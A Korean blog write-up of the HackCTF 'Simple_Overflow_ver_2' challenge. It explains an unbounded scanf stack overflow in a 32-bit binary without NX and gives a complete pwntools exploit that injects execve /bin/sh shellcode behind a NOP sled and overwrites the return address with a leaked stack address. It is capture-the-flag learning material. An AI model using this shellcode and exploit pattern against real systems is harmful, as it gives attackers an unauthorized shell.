HACKCTF - Simple_Overflow_ver_2
2020. 7. 14. 07:48ㆍCTF's Write-up
말그대로 간단한 오버플로우인가 하고 생각하고 들어갔습니다.
팁하나 추가로 드리면 64비트인지, 32비트인지 확인하고 시작하시면 좋습니다.
"file [파일명]" 입력하면 확인하실 수 있습니다.
그리고 64비트를 32비트ida에서 열었을 경우 tab이 안먹습니다. 이렇게 발견해도 되긴 합니다 ㅎㅎ
그럼 다시 본론으로 들어갈게요 ~
값을 하나 입력받고, y를 누르면 계속 반복, n을 누르면 끝나는 그런 간단한 구조네요.
main함수를 보면 이때까지 보았던것 과는 다르게 약간 복잡해 보입니다.
13번째에서 값을 입력받고, 그 아래는 출력하는 명령어인데 <-- 여기서 scanf 입력제한 X 취약점
21번째에서 주소를 출력해주니 저 주소를 잘 확인하면 될 듯 하네요.
NX가 없으니 쉘코드를 입력해서 실행하면 되겠네요.
요약하면
1. 0x90 적당히
2. 쉘코드
3. 0x90나머지만큼+SFP
4. 리턴주소
익스 코드는 아래와 같습니다.
확실한 nop sled를 구현하는걸 좋아해서 이렇게 작성했습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3006)
#r = process("./Simple_overflow_ver_2")
e = ELF("./Simple_overflow_ver_2")
#context.log_level = 'debug'
print(r.recv())
r.sendline("hello")
ret = int(r.recv(10), 16)
log.info("ret = "+ hex(ret))
print(r.recv())
r.sendline("y")
print(r.recv())
#25bytes
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload = ""
payload += "\x90"*(0x4)
payload += shell
payload += "\x90"*(0x88-25)
payload += p32(ret)
print(payload)
r.sendline(payload)
r.interactive()
|
cs |
이를 실행하면
끝내고 나니 18번 줄이 도대체 왜 들어가 있는지 궁금했는데 정말 모르겠네요
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - Read File (0) | 2020.07.14 |
---|---|
HACKCTF - 보물 (0) | 2020.07.14 |
HACKCTF - x64 Simple_size_BOF (0) | 2020.07.13 |
HACKCTF - BF (0) | 2020.07.13 |
HACKCTF - Who am I? (0) | 2020.07.12 |